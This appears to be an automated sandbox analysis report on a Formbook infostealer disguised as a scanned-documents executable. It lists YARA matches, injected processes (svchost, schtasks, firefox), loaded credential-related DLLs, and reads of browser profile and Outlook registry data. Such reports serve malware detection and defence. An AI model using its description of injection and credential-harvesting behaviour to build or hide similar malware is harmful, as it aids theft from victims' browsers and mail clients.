Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036DD2F0	4_2_036DD2F0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036DB2C0	4_2_036DB2C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C52A0	4_2_036C52A0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036F516C	4_2_036F516C
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0378B16B	4_2_0378B16B
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036AF172	4_2_036AF172
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036CB1B0	4_2_036CB1B0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377F0E0	4_2_0377F0E0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_037770E9	4_2_037770E9
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C70C0	4_2_036C70C0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0376F0CC	4_2_0376F0CC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377F7B0	4_2_0377F7B0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_037716CC	4_2_037716CC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03777571	4_2_03777571
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0375D5B0	4_2_0375D5B0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036B1460	4_2_036B1460
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377F43F	4_2_0377F43F
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377FB76	4_2_0377FB76
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03735BF0	4_2_03735BF0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036FDBF9	4_2_036FDBF9
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036DFB80	4_2_036DFB80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03733A6C	4_2_03733A6C
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03777A46	4_2_03777A46
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377FA49	4_2_0377FA49
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0376DAC6	4_2_0376DAC6
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03705AA0	4_2_03705AA0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03761AA3	4_2_03761AA3
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0375DAAC	4_2_0375DAAC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C9950	4_2_036C9950
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036DB950	4_2_036DB950
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03755910	4_2_03755910
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0372D800	4_2_0372D800
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C38E0	4_2_036C38E0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377FF09	4_2_0377FF09
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377FFB1	4_2_0377FFB1
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C1F92	4_2_036C1F92
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C9EB0	4_2_036C9EB0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03777D73	4_2_03777D73
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036C3D40	4_2_036C3D40
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03771D5A	4_2_03771D5A
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_036DFDC0	4_2_036DFDC0
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_03739C32	4_2_03739C32
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0377FCF2	4_2_0377FCF2
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B21650	4_2_02B21650
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B3A080	4_2_02B3A080
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B23170	4_2_02B23170
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B2316B	4_2_02B2316B
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B1CA80	4_2_02B1CA80
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B1AB00	4_2_02B1AB00
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B1C860	4_2_02B1C860
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B1C858	4_2_02B1C858
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0332A2E3	4_2_0332A2E3
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0332B028	4_2_0332B028
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0332BB04	4_2_0332BB04
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0332BFBC	4_2_0332BFBC
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_0332BC24	4_2_0332BC24

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: String function: 002A0A30 appears 46 times
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: String function: 0029F9F2 appears 31 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C87E54 appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CBF290 appears 103 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C2B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CAEA12 appears 86 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 0372EA12 appears 86 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 0373F290 appears 103 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 03707E54 appears 99 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 036F5130 appears 58 times
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: String function: 036AB970 appears 260 times

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1656099998.00000000039FD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Scanned Docs from Emnes Metal Sdn Bhd_.exe
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1656744327.00000000038A3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Scanned Docs from Emnes Metal Sdn Bhd_.exe

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1950883710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4110797200.0000000002B10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4111043032.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1951519783.0000000003F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.4111935021.0000000003C90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.4111848670.0000000003200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.4113899205.0000000004AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.1951562901.0000000004990000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/5@16/10

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002F37B5 GetLastError,FormatMessageW,

0_2_002F37B5

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002E10BF AdjustTokenPrivileges,CloseHandle,		0_2_002E10BF
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002E16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_002E16C3

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002F51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_002F51CD

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_0030A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0030A67C

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002F648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

0_2_002F648E

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002842A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_002842A2

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

File created: C:\Users\user\AppData\Local\Temp\aut8DF2.tmp

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: schtasks.exe, 00000004.00000003.2132258757.0000000003190000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000004.00000003.2132042421.0000000003170000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4111169499.0000000003190000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe

ReversingLabs: Detection: 71%

Source: unknown	Process created: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe "C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe"
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe"
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\SysWOW64\schtasks.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe"	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\SysWOW64\schtasks.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\schtasks.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe

Static file information: File size 1261056 > 1048576

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: schtasks.pdb source: svchost.exe, 00000001.00000003.1919524011.000000000361A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1919657751.0000000003649000.00000004.00000020.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000003.2203925940.00000000015BB000.00000004.00000001.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000003.2203925940.00000000015E4000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: MHFAGZiftf.exe, 00000003.00000002.4110802051.000000000021E000.00000002.00000001.01000000.00000005.sdmp, MHFAGZiftf.exe, 00000007.00000000.2021295588.000000000021E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1655348276.0000000003730000.00000004.00001000.00020000.00000000.sdmp, Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1655471454.00000000038D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1951185289.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1853902441.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1951185289.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1851162976.0000000003800000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000004.00000003.1951317071.000000000332F000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4112132939.0000000003680000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4112132939.000000000381E000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000004.00000003.1953664932.00000000034D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1655348276.0000000003730000.00000004.00001000.00020000.00000000.sdmp, Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1655471454.00000000038D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.1951185289.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1853902441.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1951185289.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1851162976.0000000003800000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, schtasks.exe, 00000004.00000003.1951317071.000000000332F000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4112132939.0000000003680000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4112132939.000000000381E000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000004.00000003.1953664932.00000000034D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: schtasks.exe, 00000004.00000002.4112702566.0000000003CAC000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4111169499.0000000003113000.00000004.00000020.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000026AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2240961982.000000000199C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: schtasks.pdbGCTL source: svchost.exe, 00000001.00000003.1919524011.000000000361A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1919657751.0000000003649000.00000004.00000020.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000003.2203925940.00000000015BB000.00000004.00000001.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000003.2203925940.00000000015E4000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: schtasks.exe, 00000004.00000002.4112702566.0000000003CAC000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4111169499.0000000003113000.00000004.00000020.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000026AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2240961982.000000000199C000.00000004.80000000.00040000.00000000.sdmp

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002A0A76 push ecx; ret	0_2_002A0A89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040209E push esp; ret	1_2_004020A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004050AF push 660EA6FEh; ret	1_2_004050B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004121DC push ebp; retf	1_2_004121F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004121DC push ecx; iretd	1_2_0041222E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004019E0 push esp; ret	1_2_00401A04
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00412210 push ecx; iretd	1_2_0041222E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E2B4 push ss; ret	1_2_0041E2C5
